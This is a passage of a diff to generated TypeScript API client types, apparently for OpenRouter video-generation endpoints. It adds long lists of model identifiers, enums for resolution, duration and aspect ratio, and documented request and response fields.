'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosTbcMischief1RequestModelEnumKey = + (typeof openrouterPostVideosTbcMischief1RequestModelEnum)[keyof typeof openrouterPostVideosTbcMischief1RequestModelEnum] + +export const openrouterPostVideosTbcMischief1RequestResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type OpenrouterPostVideosTbcMischief1RequestResolutionEnumKey = + (typeof openrouterPostVideosTbcMischief1RequestResolutionEnum)[keyof typeof openrouterPostVideosTbcMischief1RequestResolutionEnum] + +export const openrouterPostVideosTbcMischief1RequestSizeEnum = { + '854x480': '854x480', + '1280x720': '1280x720', +} as const + +export type OpenrouterPostVideosTbcMischief1RequestSizeEnumKey = + (typeof openrouterPostVideosTbcMischief1RequestSizeEnum)[keyof typeof openrouterPostVideosTbcMischief1RequestSizeEnum] + +/** + * @description TBC: mischief 1 (tbc/mischief-1) — model-constrained video generation request. TBC mischief 1 is the world's first neuron-derived video model from The Biological Computing Co. It supports image to video and is a fast and affordable way to bring ideas... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosTbcMischief1Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: '16:9' + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosTbcMischief1RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosTbcMischief1RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosTbcMischief1RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosTbcMischief1RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosTbcMischief1Options = { + body: OpenrouterPostVideosTbcMischief1Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosTbcMischief1Responses = { + '200': OpenrouterPostVideosTbcMischief1Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosTbcMischief1Response = + OpenrouterPostVideosTbcMischief1Status200 + +export const openrouterPostVideosXAiGrokImagineVideoStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoStatus200StatusEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoStatus200StatusEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideoStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosXAiGrokImagineVideoStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosXAiGrokImagineVideoRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoRequestAspectRatioEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoRequestAspectRatioEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoRequestAspectRatioEnum] + +export const openrouterPostVideosXAiGrokImagineVideoRequestDurationEnum = { + '1': 1, + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideoRequestDurationEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideoRequestDurationEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideoRequestDurationEnum] + +export const openrouterPostVideosXAiGrokImagineVideoRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 